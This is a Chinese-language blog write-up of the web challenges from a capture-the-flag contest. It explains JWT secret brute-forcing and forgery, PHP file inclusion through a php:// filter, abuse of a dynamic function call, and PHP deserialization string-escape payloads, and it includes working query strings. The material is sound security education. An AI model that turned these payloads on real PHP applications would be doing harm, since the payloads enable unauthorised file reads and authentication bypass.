本文首發於Leon的Blog,如需轉載請注明原地址並聯系作者
都是簡單題,簡單寫一寫
web1-checkin
F12得到flag
web2-jwt
根據題目,登錄后抓包看見jwt,base64解一下看見格式,然后爆破secret,最后username構造為admin偽造jwt即可:
web3-easypop
題目如圖,payload沒留
簡單的反序列化,將lemon類的$ClassObj實例化為evil類即可
web4-command
F12源碼看見include.php,訪問之,url出現?file=index
簡單的文件包含,用偽協議讀讀include.php源碼:
1 //include.php 2 <?php error_reporting(0); 3 @$file = $_GET["file"]; 4 if(isset($file)) { 5 if (preg_match('/http|data|ftp|input|%00|flag/i', $file) || strstr($file,"..") !== FALSE || strlen($file)>=100) { 6 echo "<p> error! </p>"; 7 } else { 8 include($file.'.php'); 9 setcookie("tips","createfun.php"); 10 } 11 } else { 12 header('Location:include.php?file=index'); 13 } 14 ?>
發現提示createfun.php,繼續讀:
<?php $func = @$_GET['func']; $arg = @$_GET['arg']; if(isset($func)&&isset($arg)){$func($arg,'');}
直接payload:createfun.php?func=show_source&arg=flag.php
得到:
<?php $flag="nuaactf{php_IS_thE_best_language}"; ?>
web5
直接就安恆4月賽的原題,改過了replace
原題見本站:https://clq0.top/2020/05/minil-ctf/#ezbypass
源碼:
<?php show_source("index.php"); function filter_nohack($data) { return str_replace('flag', '', $data); } class A{ public $username; public $password; function __construct($a, $b){ $this->username = $a; $this->password = $b; } } class B{ public $b = 'gqy'; function __destruct(){ $c = 'a'.$this->b; echo $c; } } class C{ public $c; function __toString(){ //flag.php echo file_get_contents($this->c); return 'nice'; } } $a = new A($_GET['a'],$_GET['b']); $b = unserialize(filter_nohack(serialize($a)));
這里直接是將flag置空,4字符變0字符,根據原題目的payload,因為要吞掉后面23個字符,4*6=24,所以前面構造6個flag,后面補一個字符,然后flag.php的flag要雙寫
payload:?a=flagflagflagflagflagflag&b=A";s:8:"password";O:1:"B":1:{s:1:"b";O:1:"C":1:{s:1:"c";s:8:"flflagag.php";}}